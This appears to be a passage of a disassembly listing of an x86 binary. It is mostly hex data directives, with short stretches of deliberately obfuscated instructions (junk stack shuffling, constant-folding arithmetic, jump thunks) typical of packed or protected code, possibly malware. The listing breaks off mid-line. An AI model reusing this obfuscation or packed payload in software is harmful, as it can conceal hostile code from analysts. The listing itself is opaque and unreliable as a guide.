14E995FFh, 0F5005E7h, 0FE244C01h, 1CC08358h dd 245C8B53h, 5889660Ch, 588966FCh, 8C665B02h, 0A0324C8h dd 9840FC0h, 8B000000h, 0E729D585h, 0C605h, 2404FF58h dd 0E90004C2h, 0FFFFFFBBh, 8C665053h, 3E380CBh, 840FDB0Ah dd 38h, 2BBh, 0D5858B00h, 8605E729h, 0FDB0A18h, 0FFFFF685h dd 1585C7FFh, 5E714h, 8B000000h, 8B082444h, 100098h, 988900h dd 8B000010h, 0E9188918h, 0Ah, 141585C7h, 10005E7h, 5B580000h dd 0C32404FFh, 0FFFFA3E9h, 3E8060FFh, 31840F00h, 0BB000000h dd 763AB7A1h, 1B101B0h, 13E9h, 0C88AAC00h, 0C332C302h dd 0BAACBD1h, 1840FD2h, 4A000000h, 850FC90Ah, 0FFFFFFE5h dd 850FD20Bh, 0FFFFFFDDh, 8B52C361h, 7A8B57D4h, 0E9C03308h dd 1, 3F80AAh, 0FFF6850Fh, 5A5FFFFFh, 530004C2h, 0C0335651h dd 10E9DB33h, 0AC000000h, 0D3D1D833h, 5ABCC381h, 0C88A3746h dd 0B49D3D3h, 0E8850FC9h, 8BFFFFFFh, 5B595EC3h, 0A1BB60C3h dd 0B0763AB7h, 11E901h, 32AC0000h, 0D1C32AC3h, 0D20BAACBh dd 1840Fh, 0A4A0000h, 0E7850FC0h, 0BFFFFFFh, 0DF850FD2h dd 61FFFFFFh, 0D88C66C3h, 840F04A8h, 29h, 38E485C7h, 105EAh dd 0F500000h, 0FE244C01h, 38E8858Fh, 858D05EAh, 5EA38E0h dd 38E8BD8Dh, 388905EAh, 23E9h, 9858D00h, 8B05E712h, 17053840h dd 899B46F3h, 0EA38E085h, 9858D05h, 8B05E712h, 85893C40h dd 5EA38E4h, 38FD858Dh, 858905EAh, 5E714E9h, 87E9h, 0D48B5200h dd 8728B60h, 0B80C7A8Bh, 0A945CAB2h, 7E9h, 30060000h, 46C8D106h dd 820FF73Bh, 0FFFFFFF1h, 8C25A61h, 0D48B5200h, 8728B60h dd 0B80C7A8Bh, 0A945CAB2h, 7E9h, 28063000h, 46C8D106h dd 820FF73Bh, 0FFFFFFF1h, 8C25A61h, 0D48B5200h, 33535156h dd 8728BDBh, 0E90C4A8Bh, 13h, 0F2D3CACh, 0A84h, 34980400h dd 0C1D83213h, 0B4908C3h, 0E5850FC9h, 8BFFFFFFh, 5E595BC3h dd 8C25Ah, 3B70858Dh, 858905EAh, 5E70ADDh, 3B98858Dh, 858905EAh dd 5E71D55h, 3BC0858Dh, 858905EAh, 5E71889h, 53006A60h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h dd 0EAFFCACDh, 0D4E6BDBDh, 0B966BC82h, 8B66C152h, 60C08BCAh dd 8B66F18Ah, 0BD8361FEh, 5E70C81h, 83097500h, 0E72819BDh dd 19740005h, 0C08B5350h, 40EB8h, 7D858900h, 8D05E704h dd 0E9B4939Dh, 5BD3FF05h, 19BD8358h, 5E728h, 53501774h dd 40EB8h, 7D858900h, 8D05E704h, 0E9B1829Dh, 5BD3FF05h dd 52006A58h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h dd 0C3524200h, 53006AC5h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1B04h, 0C3534300h, 0E2D93419h, 9414536Ah dd 0BE8h, 9A45E00h, 44285BC1h, 23522044h, 7E9h, 0F3D08700h dd 0E28AEF54h, 6AC08B59h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 15042444h, 46000000h, 85A0C356h, 0DE960h dd 62010000h, 4AF89873h, 39D258EEh, 0FCB663A2h, 9BD8361h dd 5E718h, 4B840Fh, 0EE90000h, 18000000h, 0C6D21F5Ch, 1A81BEE0h dd 490E743Fh, 1AAE97Ch, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1A0424h, 52420000h, 0BE3F04C3h, 22BD6166h dd 68D0Fh, 60600000h, 61616061h, 730502B9h, 0B9DF8C20h dd 5D0E2415h, 4C7F766h, 65850F00h, 0E9000001h, 6, 90901FEAh dd 0D68B4BFBh, 0BFh, 0FE4FBE00h, 8DFC28EBh, 0EA3ECE9Dh dd 1B820F05h, 0F000000h, 1580h, 0FE800h, 0E7710000h, 3EC211A2h dd 6314E0BCh, 0FFC44F00h, 0F505E24h, 1380h, 0BE800h, 0D98E0000h dd 0F1AAB074h, 1CB4ED21h, 5A595173h, 0B9241C89h, 6787B9E0h dd 35FF64h, 0BA000000h, 222C4333h, 258964h, 0FC000000h dd 0D18BC48Bh, 6FF9BA60h, 8B665CB1h, 1CD61CFh, 80F800EBh dd 8F6469E9h, 5, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1604h, 0C3564600h, 0BE2F59DDh, 7C5F128h dd 0F804C483h, 148C0Fh, 0FE90000h, 61000000h, 24C83D49h dd 755FC10h, 0F471E9BFh, 0C00BB6BBh, 8A840Fh, 0BE90000h dd 0A0000000h, 8080E576h, 0AB84B4D5h, 6A61B4CCh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h dd 0FCA0C351h, 72CABD8Dh, 6A05E7h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 170424h, 57470000h, 0A9B294C3h, 1B8B5h, 0D68B0000h dd 57F5E7FFh, 10245C8Bh, 0B8838Bh, 0B60F0000h, 0C8FE0140h dd 0B08389h, 83830000h, 0B8h, 0C0335F02h, 0B70F52C3h, 0C1815EF1h dd 3623FE7Dh, 12E961h, 7E170000h, 59167917h, 0D1C59572h dd 401E43B6h, 1D602458h, 6AC08Bh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1D0424h, 57470000h, 0DFB8A4C3h, 57BD7484h dd 0F096656h, 189h, 0BD83F800h, 5E70C81h, 83097500h, 0E72819BDh dd 19740005h, 0C08B5350h, 40EB8h, 75858900h, 8D05E717h dd 0E9B4FA9Dh, 5BD3FF05h, 19BD8358h, 5E728h, 53501774h dd 40EB8h, 75858900h, 8D05E717h, 0E9B19B9Dh, 5BD3FF05h dd 51006A58h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h dd 0C3514100h, 0AEE5BC59h, 8BAFF76Ah, 13E9D6h, 0F4880000h dd 0DE1B4A0h, 1568015Eh, 80E47E12h, 0E9172E49h, 0FC08B59h dd 188Dh, 13E900h, 0A07D0000h, 0B64F02A7h, 68A796A1h, 0D582AF4Bh dd 4560BCBEh, 0E8C28BCCh, 13h, 67F6049Bh, 73D509E0h, 17D451F5h dd 0F585C07Fh, 6692BED3h, 8640EF81h, 7E85Ah, 0EEAC0000h dd 8C46B76Ah, 5B8665Eh, 0C2815870h, 5FFEh, 0BEFBBF0Fh dd 18F09494h, 7CCDEE81h, 99B018F0h, 0F531A8Bh, 586h, 4502B800h dd 815F6C2Ch, 0D2AA87C3h, 0CB8B6674h, 442AC381h, 0C38108D7h dd 6480582Fh, 53C78B66h, 18E0Fh, 8FF50000h, 0F1816602h dd 0EA811585h, 2AEE9DB6h, 81CA8B66h, 0EE9DB2C2h, 0C1D7812Ah dd 831D1096h, 850F01EEh, 23h, 8890Fh, 0F600000h, 8B66DEBFh dd 3FE961F1h, 0E3000000h, 0BC55CB5Fh, 394290C1h, 87B9AE32h dd 0E98CF701h, 12h, 0B40D0783h, 3BA3AE7Ch, 6BF42106h, 0E0DC61B7h dd 6DE98974h, 0B5FFFFFFh, 0FCCD0D16h, 5ADA54E0h, 1453F31h dd 439BCB05h, 8EB7D6Dh, 2 dup(0) dd 7BE9h, 0F526000h, 0FE244C01h, 24C2835Ah, 2B8D858Bh dd 858D05E7h, 5EA6F2Fh, 888B088Bh, 1000h, 8B660A8Bh, 8D89FC4Ah dd 5EA40DBh, 1FDBD83h, 0F0005E7h, 0F84h, 6A6000h, 21C195FFh dd 0E96105E7h, 0FFFFFFC4h, 0FC728966h, 6610CEC1h, 52027289h dd 895A04CDh, 0EA40D785h, 0DBB58B05h, 0C105EA40h, 896610CEh dd 0B58B0272h, 5EA40DBh, 0FC728966h, 0D7858B61h, 0C305EA40h dd 0CED958Dh, 958905E7h, 5E729D5h, 11859589h, 85FF05E7h dd 5E71185h, 32A585C6h, 685305E7h, 0FCB148D8h, 899B5FFh dd 858D05E7h, 5E7392Ah, 8589D0FFh, 5E721C1h, 3917858Dh dd 858905EAh, 5E7196Dh, 20EBh, 7 dup(0) dd 41E90000h, 0E9000005h, 535h, 0EA435A68h, 3EB5E905h dd 0F968FFFDh, 0E905EA43h, 0FFFD3EABh, 0EA458D68h, 3EA1E905h dd 1468FFFDh, 0E905EA46h, 0FFFD3E97h, 5CF227BDh, 0A53BEE0Ch dd 0F3899055h, 3ED45DA3h, 861C0DEEh, 1AE1046Dh, 0D529790Fh dd 8B76C65Ch, 3FC010A6h, 6E875CF2h, 7C149D81h, 0BA3F255Ah dd 0ADFA1FC6h, 91D40CECh, 4BA1A7D4h, 1918E7F5h, 14FC34CCh dd 0C57CFF6Ah, 2D4Bh, 8E7F600h, 835491D4h, 0F1A58C75h dd 0CDEEE2Eh, 70164E22h, 311ED547h, 517C6792h, 0D72EC492h dd 0B012DCC5h, 467E555Ch, 2D78h, 0B1BFDB00h, 0B294E150h dd 457DE34Eh, 91D37A5Ah, 0B7E3F554h, 6FEE47B9h, 0E50EB4ECh dd 0D3C32325h, 76DBC6Fh, 0DDC46350h, 0F6C4517Bh, 1FC60B60h dd 0B6C4ADFAh, 0FF97E445h, 0D3775B48h, 31FF5491h, 2DA50EF9h dd 51AF2B6Eh, 4AB193E0h, 0E2AC92DFh, 5E81928Bh, 0DB3121C3h dd 17E593D6h, 0DE74A540h, 340EDEF4h, 0F4D8C5C2h, 7CD49208h dd 0D8A0FAAEh, 98853CA2h, 0D491F2B8h, 3B1D6A38h, 80D76DC4h dd 66538D72h, 0D4921282h, 89D63C0Ah, 0CDAE3DF1h, 0ACCCAE5Eh dd 0E2A5CE74h, 920F11F5h, 0D67D99D4h, 0B65EA689h, 0F9B0167Ch dd 773AB10Ch, 1E6B39D1h, 79407D5Dh, 0C41218DAh, 9B95E791h dd 5FC8C0h, 0BF730000h, 36AE46ADh, 134B4909h, 1BD23A6Dh dd 7C51AA2Eh, 2DE4B251h, 0BB51E01Fh, 799D946Bh, 0E4E8B960h dd 0F2872B08h, 20000002h, 6FBF55C4h, 0B8089E8Bh, 656EC2Dh dd 51A137FAh, 0D0E97FAAh, 72B74467h, 0BF728CDCh, 928D929h dd 55DC2373h, 0E4D1EABFh, 5A7C1700h, 41DA288h, 2BDh, 0FA1FC667h dd 48B6C4ADh, 0CC049CE9h, 91D401E1h, 0D444A454h, 0AE75491h dd 0AD5491D5h, 5491D4CDh, 6EAB3A48h, 21D98921h, 0EB23BB08h dd 91D52000h, 0D4E3C354h, 98CB9491h, 3D8C7930h, 0BD117826h dd 362338EFh, 1A7BCB52h, 2BD40CDAh, 5D1484AFh, 60F84570h dd 0D2B1CD17h, 9416A27Bh, 39AACE34h, 0C11F0254h, 25340E4h dd 25BF0000h, 0EC0E5EF4h, 8E57A73Dh, 5BA5F58Bh, 0BF040D6h dd 66F881Eh, 7B1118E3h, 0C85ED32Bh, 12A88978h, 5EF43DC2h dd 9F837089h, 275A7C16h, 39C6BC41h, 0B23341F8h, 0A862F67h dd 0A3B86FD9h, 8BC36695h, 7B935DA0h, 8117E551h, 91BE182Ah dd 0FF2CDD4Eh, 0A52ABBC7h, 0F28AD75Ah, 3FA6F68Ch, 0D21123DAh dd 0F04AA2D9h, 2BA75088h, 0ECD990F8h, 57659AB1h, 8D4B2234h dd 4D674B38h, 21EF6066h, 0D359F16Dh, 814B2F1Ch, 5D36066h dd 0E7A3BFCDh, 0A0C297B7h, 0F6C9D4B2h, 0CD533542h, 1CB40118h dd 8BBA50B6h, 606677ABh, 41F86093h, 50371D54h, 18CF9D5Dh dd 8F2F50Ah, 0A28F7121h, 0A956A63Ch, 0CEBFD188h, 0CB53BE21h dd 0CF903971h, 66500FFFh, 954CBCE7h, 39CF7DA8h, 80370563h dd 0EA48D72h, 0A3F041BEh, 0D4B8A5BAh, 5C6C3A51h, 9B6B568Eh dd 836C3A51h, 85629E50h, 9D4DB376h, 0B46BD148h, 24118CC7h dd 8F461469h, 95697E81h, 51B74F9Ch, 9D946BBBh, 0EFA3D450h dd 0EDD623F6h, 24941C00h, 70D6A472h, 0C766530Ah, 0C76F0E52h dd 0BEBACF9h, 8D780ED6h, 9072BF72h, 176C36Eh, 61F88553h dd 30DA8D5Bh, 116601FEh, 0Ch, 0CF07E7BCh, 7C75491h, 2A000000h dd 91CA07E7h, 0FB2C8454h, 0AAEDDA91h, 32517B93h, 609FAD64h dd 5FA284D1h, 87ED85D2h, 0F92AA64Fh, 0B1C3D88Fh, 8821CB6Dh dd 0A792CA31h, 57618D14h, 0C32A4E1Ch, 2BDF01DBh, 0BFAA4Eh dd 91530000h, 58A2F288h, 0FAEB3BD1h, 0C739891Fh, 7784D46Ah dd 9A031CB2h, 0FA58477h, 5CF23FBFh, 0A63CF50Ch, 0F288A956h dd 3317041Dh, 0BB5A7C19h, 0B1BF50D5h, 0FA92DF4Ah, 81EB1CC2h dd 939ADDCAh, 622517Bh, 1011B87Dh, 1712E8BFh, 82FE4BB1h dd 4330E751h, 57611C48h, 6EC33D4Bh, 674B3821h, 0EF606322h dd 7583BB21h, 22856956h, 0F50D6063h, 41D9260Bh, 701D27DBh dd 0B69D94F1h, 4DCB2C50h, 5A37DF02h, 38B6h, 0F0ADA00h dd 58D12979h, 0A67372C2h, 0F140C010h, 39F00B5Bh, 0FE218AA3h dd 46962CFDh, 93E379B8h, 0DD2DC36Eh, 0A4790F22h, 19BA9E8Bh dd 5C425A7Ch, 304D7h, 58670000h, 0FB1EC613h, 0FE33CCAEh dd 0FF32CFB1h, 32ED0B2h, 227D4B6h, 128D3B5h, 32ED2B4h dd 811D4B6h, 821D9BBh db 0BBh, 6Fh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp push 1D9Fh mov [esp], esi push 26AFh mov [esp], ebx mov esi, 11F7136Bh push eax mov eax, 744F519Ah shl eax, 8 and eax, 0C324212h or eax, 6CF43155h neg eax xor eax, 0F391BB3Eh xor esi, eax pop eax shl esi, 8 add esi, 560C6BE6h xor esi, 55A4F69h add esi, 3FBF1B68h push esp mov ebx, [esp] add esp, 4 sub esp, 4 mov [esp], esi pop dword ptr [ebx+8] push dword ptr [esp] pop ebx add esp, 4 push dword ptr [esp] pop esi add esp, 4 jmp loc_546C33 ; --------------------------------------------------------------------------- dd 7C4AB636h, 2F93EC64h, 3764654Dh, 4671B843h, 0C50305EAh dd 51E9C88Bh, 60000000h, 2424748Bh, 8B3C7603h, 8B28247Ch dd 0F8C281D6h, 66000000h, 0F064E8Bh, 0F983C9B7h, 16840F00h dd 3B000000h, 8F0F0C7Ah, 15h, 8B28EA83h, 4A8B0C42h, 2BC12B14h dd 247C89F8h, 8C2611Ch, 28C28300h, 0CF850F49h, 0E9FFFFFFh dd 0FFFFFFE9h, 9FD3EBAh, 0E900EB00h, 60Eh, 602E9h, 48426800h dd 10E905EAh, 68FFFD39h, 5EA4965h, 0FD3906E9h, 4A0668FFh dd 0FCE905EAh, 68FFFD38h, 5EA4AF0h, 0FD38F2E9h, 4C3C68FFh dd 0E8E905EAh, 6CFFFD38h, 0BB0BA178h, 454EA3Fh, 52A238E1h dd 9DED83AEh, 1C35CB5Eh, 0BE6B90B3h, 0B26D828h, 55DC2575h dd 0A1906FBFh, 301D360Bh, 5A7C1A4Ch, 0E769EED4h, 5491D407h dd 91D3C6AAh, 0D3947154h, 57375491h, 0FA5491D3h, 5491D41Bh dd 0B0948196h, 385491D3h, 6747326Ah, 4FD491D3h, 10FDB424h dd 0D176F7A1h, 71CD3A1h, 0DA2702F9h, 0C56C9242h, 9CA8E078h dd 0B57C8265h, 0D46AD068h, 67B47D84h, 9950B8EBh, 84BC758Bh dd 26598471h, 0C9E1D75Eh, 7296FC35h, 5F056A0Ch, 97E38764h dd 8000004h, 57A73DDCh, 0A0F086A3h, 0EE3ED445h, 39891F12h dd 0B8D167C2h, 5ACF2C4Fh, 0A78A74C4h, 0F140C111h, 3DF40B5Bh dd 0CCB9D2A7h, 5A7C1BE8h, 0BF058A70h, 0A28F49B1h, 5491D3BEh dd 0DA127846h, 0B30031CEh, 91D413F2h, 0DDEB1C54h, 10D40C1Dh dd 624F64FAh, 5491D37Eh, 0D7FE2704h, 30E238E0h, 0E11E2A62h dd 956ABA50h, 926D4F9Ch, 1D83A655h, 0FE0CFCD0h, 3999867h dd 7C332DD7h, 4000E45h, 0C6B90000h, 0EAABF839h, 5491D40Bh dd 0B9885EE8h, 8760A146h, 0EB51B77Ah, 7A678055h, 5491D396h dd 8020719h, 0A4CEA6F2h, 43905E6Ch, 0FB91A061h, 26DD54ABh dd 0C402411h, 0FAC85492h, 1E3019C2h, 0C5B2A3C1h, 549227E1h dd 0EEE79B69h, 0EB4ECDEh, 0A6BB72E4h, 91FCD5B9h, 578F5D54h dd 0FDEA1565h, 0FFE12E03h, 64CA3001h, 0CE5B9FADh, 8B1E981h dd 0C359D826h, 91FCB494h, 0FD1D2F54h, 0CC449110h, 0BC424E86h dd 0E7ACBE75h, 0F90F97A1h, 0F06C154Dh, 0B19E55C7h, 51770A92h dd 0E8A0C492h, 30E4EC7Fh, 374AF53h, 0B92B0000h, 807ACA60h dd 22C313A9h, 0EF1161F7h, 9F5CAC42h, 72DBF48Ah, 0E77DAC4Fh dd 34CA6797h, 7E141DE4h, 0CA60D12Eh, 0BEFDCF5h, 935A7C1Dh dd 39C628ADh, 7B948BAAh, 7F2FC22Dh, 0C961AE7Bh, 0AA97AC63h dd 549208C6h, 9F48804Eh, 7EA142BDh, 328C0E8Fh, 4DB37684h dd 46B89AE7h, 62655EBh, 29549298h, 54928849h, 0DEC2AFC4h dd 665492A8h, 0AA546098h, 39C2D087h, 0D30BA3F0h, 0A889692Ah dd 46715492h, 0F50A1FD6h, 92A92408h, 0A6DEAC54h, 77AA30BBh dd 466A3851h, 0E4EBE04Ch, 0D39B3F1Ch, 0CC000002h, 1B6B0118h dd 64B44ADFh, 0B2029881h, 0FD4DE34Eh, 7C952BFEh, 1E0BF013h dd 6BC63888h, 0B57C85D5h, 130CF1Fh, 907D966Bh, 5A7C1DACh dd 0C6C94E34h, 0DE53AE39h, 48B3C178h, 97F7593h, 94FA7ED8h dd 0BCCAB35Ch, 8A0ED44h, 0F63BC4D0h, 17E5D5A9h, 53372439h dd 0DB54925Ch, 36C9D50Dh, 8F3965FBh, 70457C75h, 252h, 3FDA0B19h dd 38A65AF2h, 61C8CC5Ah, 0E7C1D20Ah, 5491D407h, 23B97889h dd 0B6032ED3h, 8FA5BBCDh, 0D5FDF759h, 0C170919Dh, 0C26F9274h dd 0C46D9375h, 86540277h, 31857F9h, 91DE3216h, 0B4ECBA54h dd 0B64B1AF0h, 0FB9E57Bh, 4F457CF6h, 226FBA41h, 5AE0528Ah dd 89000000h, 0E9A38774h, 5D2B5491h, 0A3DB4EADh, 47FB2C92h dd 942C79B8h, 7B8A772Eh, 7B5176F3h, 9D1389ADh, 9875E4ECh dd 1E9F4h, 0EB2EB600h, 34F50555h, 82974E9Eh, 0CD649CECh dd 1514E737h, 0DAFD667Fh, 22720821h, 6FBF55DCh, 0B9099F92h dd 8055EB46h, 1D967A67h, 381E5A7Ch, 132841B3h, 5CD8A401h dd 2DD98DA4h, 667F2F42h, 0B4907BB3h, 3C549288h, 55A9B76Eh dd 12FBA4DCh, 220FEFFDh, 9288AF93h, 31693754h, 0BF55DC25h dd 0A457906Fh, 86EC33Bh, 58D9EBA2h, 1EB02C75h, 147AB748h dd 8DB733DCh, 0CC35851Bh, 807FCF65h, 667B64B1h, 92BC9579h dd 174F1D54h, 0DF4F30Bh, 5328BE24h, 0BC694D3Ah, 23F15492h dd 0DEF1F4D6h, 15AB1120h, 0DC93E52Bh, 0B30031CEh, 583AE31Bh dd 0C3D58C8Dh, 0E9FDB209h, 42C29D88h, 92564C00h, 1B4A3C74h dd 5492393Bh, 8C53A8B6h, 1D55BB6Eh, 25DC4C77h, 773F1538h dd 984F1D51h, 598A7583h, 12D61826h, 7DCA300Fh, 59A1ADE5h dd 10EA3AD0h, 17EACC19h, 0AB55631Ah, 69A13986h, 1120DEC0h dd 0CA37455Ah, 0CBF4D867h, 607C5A79h, 0AAD95425h, 0A42A88Ah dd 946A7861h, 8B8509Dh, 53EB38F9h, 43D60F1Bh, 0B1807E8Ch dd 0EB94CC64h, 1DD4446Fh, 5E547530h, 0F6E3F857h, 60605512h dd 8694CC9Ah, 3C1294B8h, 815EDF05h, 9DDDh, 37E20200h, 80A951A1h dd 0CE4B9AEAh, 1918E838h, 61C83383h, 2649B2CBh, 6EBE54D5h dd 0BB0BA190h, 555EB46h, 0CCA137FAh, 1FE2C6B3h, 846A5A7Ch dd 0F839C6FFh, 65CC3341h, 9F488018h, 0DA57A8B6h, 0BA45F58Dh dd 5A922A77h, 0C836B14Eh, 0E2B60369h, 0B24DE4F2h, 7D92E97Fh dd 91D3AC90h, 2E663454h, 7CFC9C46h, 1C7D45h, 0E7280000h dd 5491D408h, 26BC758Ah, 1C14h, 99677500h, 7374834Ah, 46ACB7AEh dd 0B1BFFD0Eh, 0C1ACE44Dh, 5491D3E1h, 0FF959C63h, 705946AAh dd 2, 1EC6256Ah, 33CCAEFBh, 32CFB1FEh, 2ED0B2FFh, 27D4B603h dd 28D3B502h, 2ED2B401h, 11D4B603h, 21D9BB08h, 576FBB08h dd 0C781E789h, 4, 5704EF83h, 42474FFh, 24048F5Fh, 14DB685Ch dd 4890000h, 12776824h, 3C890000h, 37685724h, 5F257A67h dd 6617CF81h, 0F78147C5h, 62152091h, 3C8BF889h, 4C48324h dd 4EC81h, 24890000h, 24048124h, 4, 0C189515Fh, 8B084F89h dd 0C483240Ch, 2434FF04h, 4C4815Fh, 0FF000000h, 83582434h dd 1CE904C4h, 8BFFFD33h, 0B80E626Ah, 5EA4CFEh, 0D18BC503h dd 0D9E9h, 0BE1D2000h, 82C12C0Fh, 0B6CFDF2Fh, 5D54FDBEh dd 0ECA43636h, 5DD500BCh, 76D352C5h, 0FC94A4D6h, 0AEC44100h dd 77CB50C1h, 0ACAC3252h, 91B8009Ch, 0CD64F7F6h, 389382h dd 3C0000h, 400000h, 940000h, 50000h, 10000h, 0A280000h dd 20000h, 20h dup(0) dd 61C30000h, 0EDE90A2Eh, 6800001Eh, 5EA5067h, 0FD3222E9h dd 514668FFh, 18E905EAh, 68FFFD32h, 5EA520Eh, 0FD320EE9h dd 52A568FFh, 4E905EAh, 68FFFD32h, 5EA5366h, 0FD31FAE9h dd 540968FFh, 0F0E905EAh, 68FFFD31h, 5EA54E1h, 0FD31E6E9h dd 55A868FFh, 0DCE905EAh, 68FFFD31h, 5EA5916h, 0FD31D2E9h dd 597768FFh, 0C8E905EAh, 68FFFD31h, 5EA5ABAh, 0FD31BEE9h dd 5E0968FFh, 0B4E905EAh, 68FFFD31h, 5EA6184h, 0FD31AAE9h dd 64D768FFh, 0A0E905EAh, 68FFFD31h, 5EA6654h, 0FD3196E9h dd 66CC68FFh, 8CE905EAh, 68FFFD31h, 5EA6728h, 0FD3182E9h dd 678468FFh, 78E905EAh, 68FFFD31h, 5EA6883h, 0FD316EE9h dd 69DE68FFh, 64E905EAh, 68FFFD31h, 5EA6AD2h, 0FD315AE9h dd 2FEAFAFFh, 78B14999h, 0C65392E2h, 1120E030h, 59D02B7Bh dd 1E41AAC3h, 66B64CDDh, 0B3039998h, 0FD4DE34Eh, 0C4992F02h dd 22DABEABh, 7C625A7Ch, 0F839C6F7h, 47B4C2ABh, 0BFAC95E2h dd 5491D3DBh, 0F72F9563h, 871D14EBh, 4B026A9Dh, 76DFFF5Eh dd 64B17F51h, 78DFC3A3h, 82585E5Ah, 0D1609EACh, 0CCB4EC84h dd 409BF422h, 2503h, 0FB2CAE00h, 26EDDA91h, 0A65176FCh dd 71BE738Eh, 652673D9h, 5A78FB85h, 99CC1A20h, 409BD4EFh dd 0DFD0h, 39C67B00h, 0CE3341F8h, 47301663h, 0B93C379Ah dd 1401B81Eh, 54922230h, 9B2EAB8h, 8507D427h, 0B1687D21h dd 5A18CC64h, 0C51278BBh, 0FE33CEDCh, 0D5E119B1h, 0E5C9B62Ah dd 6D54921Fh, 0AEC399Fh, 4FA63CF5h, 1F694D3Ah, 23F15492h dd 1F9B7F6Ch, 55235492h, 2315321Dh, 0FB105492h, 92242A0Eh dd 0ACE4B254h, 3CD25FA0h, 2AD413ECh, 0BC22BA07h, 58C0F36Fh dd 27C9B4A1h, 3D15177h, 0E850836Dh, 53DE2331h, 0CE1B081Bh dd 4E575FBDh, 40BBC980h, 0F80353E9h, 0B41A17E7h, 2B9DC90h dd 0CB6F4CDFh, 1C48h, 0CC62B72Dh, 15AB7E7Ch, 63F920C5h dd 0AE44ED13h, 0F68C9D5Eh, 0AA5174DDh, 6599E97Fh, 1BE636CCh dd 0CF308016h, 0DEF7CC62h, 7C240DF1h, 2AAF955Ah, 57AA35C6h dd 8EDE74DAh, 0D52AC071h, 0DA91FB2Ch, 76FC26EDh, 21D8A651h dd 0D45EC13h, 0FBC3A364h, 585E5A78h, 0D42DD782h, 0D00E409Bh dd 0B9000000h, 51AE39C6h, 4B2D7AE0h, 432C79B0h, 819D8D31h dd 3C74F456h, 91DA3451h, 1EC93654h, 6C0451E0h, 0DF207006h dd 5E890552h, 142237EEh, 5EF643E6h, 0DE503B26h, 3E535176h dd 0DE583C29h, 12E05A78h, 78DE9F83h, 5135225Ah, 0D95A78DEh dd 538B590Bh, 0F7E17745h, 97A55CCCh, 0E67ECB4Eh, 326AAF36h dd 6DD4321Fh, 8654575Fh, 0A53AC1CFh, 0DC72D859h, 96BA6F8Ch dd 0DF0307E0h, 69C76B48h, 0C00001Bh, 5BAB41D8h, 0A4F48A9Fh dd 0F242D841h, 3D8D230Eh, 0BCD56BBEh, 5ECB3053h, 0AB8678C8h dd 0F53CC515h, 41F00F5Fh, 0D0BDD6ABh, 5A7C24ECh, 0BF098E74h dd 0AAE24FB1h, 15CC5D9Eh, 68169403h, 9BD341F1h, 8BA659A9h dd 81ACC2D4h, 0F475D660h, 0C675CABCh, 0E150AE39h, 0DABEAB94h dd 625491D3h, 11C82E94h, 1BC96BFFh, 0DB139831h, 82AF5032h dd 123C2DECh, 5FD22DE1h, 0B13442F9h, 42462A17h, 0CE5492h dd 624F629Ah, 5177511Fh, 0EB6CD9A7h, 0EE075F7Fh, 9D54C4EFh dd 71BE6B8Fh, 0A18EA1D9h, 13ECEC5Ah, 43BF0CDAh, 4F1A810h dd 19D4044Eh, 3B4900CEh, 80D76DC4h, 6DA58C72h, 6F939E61h dd 1C8F7111h, 0A1DA7E5Bh, 0D400001Ah, 23730910h, 6CBC52D7h dd 0BA0AA079h, 555EB46h, 849D33F6h, 2603F81Bh, 73BE4090h dd 0BD748DDDh, 928D727h, 98859E73h, 5A7C25B4h, 0C6D1563Ch dd 2FABF839h, 0F0DD9404h, 517700C5h, 2AE97F4Dh, 70D80B43h dd 0F89CCB9h, 4311575Eh, 5E827E8Ch, 60338D71h, 0E1471560h dd 0FE5FE0A9h, 0EE9EEEEDh, 0AF9C53C5h, 24F69A68h, 51CD1AE8h dd 12FFB626h, 2ADDB25Ch, 5D75C0DCh, 9861BA09h, 58667B32h dd 455189A8h, 91E177BAh, 0EB9FC36Eh, 7D0B852Dh, 1A0AFCA0h dd 796B0000h, 40BA0AA0h, 0E20353E9h, 0AF51A137h, 5F9CEC82h dd 0B21B34CAh, 27BD6C8Fh, 740A27D7h, 0BE54DD24h, 0AA0916Eh dd 4B2F1C35h, 0D35A7C25h, 39C668EDh, 42FABF8h, 0BAC8DD94h dd 8A0ED44h, 5189A858h, 76FC4766h, 0E3794751h, 0CDF65824h dd 0FA92A45Bh, 23C98A4Eh, 0ABC0D30Bh, 5834A499h, 0D40CD4CEh dd 5E05A6E9h, 0F3602E57h, 6DC43C4Ah, 65508820h, 0D407C157h dd 6D2494BFh, 0EDEA3980h, 0BA2B4F9h, 3529FBD2h, 17E5F32Bh dd 0B3254ECAh, 0AD590FFCh, 0BD9FFD5h, 2EB94654h, 0F25710D3h dd 0FBC7D927h, 6A782F95h, 7CAD4E91h, 95ECDE16h, 7FB77A87h dd 81A58C73h, 368E9413h, 49E48865h, 2C000019h, 7BCB61B8h dd 0C414AA7Fh, 1262F821h, 5DAD43EEh, 0DCF58B9Eh, 7EAB5073h dd 0CB6698E8h, 151CE535h, 61D02F7Fh, 0F0DDF6CBh, 5A7C270Ch dd 0C629AE94h, 0E150AE39h, 4996FC94h, 7B329ACDh, 76D5038Eh dd 0A73D0B51h, 95BE90E8h, 3C7F6C23h, 0C4575DEAh, 920889F6h dd 0FAB5A1A3h, 0BBA85FC9h, 5A87CC74h, 5DD926F4h, 0A084712Ah dd 286389CCh, 2F3DF45Ah, 3B1F0CCCh, 0C36389CDh, 0AA428FF5h dd 0BC725F72h, 37606EE3h, 0C4063025h, 8CC4E286h, 0EBF9B07Eh dd 37871D14h, 594569C8h, 37D5F4AFh, 18A6B65Ah, 15CF0000h dd 0DC1E6E04h, 7E67B74Dh, 4BB5059Bh, 0FB0050E6h, 167F982Eh dd 8B2108F3h, 0D86EC33Bh, 22B87988h, 6E042DD2h, 0AF938099h dd 375A7C27h, 39C6CC51h, 42FABF8h, 0DBC8DD94h, 5491D3F7h dd 6679B17Fh, 76D7BE79h, 0E2784651h, 88B8798Bh, 0C225804Ch dd 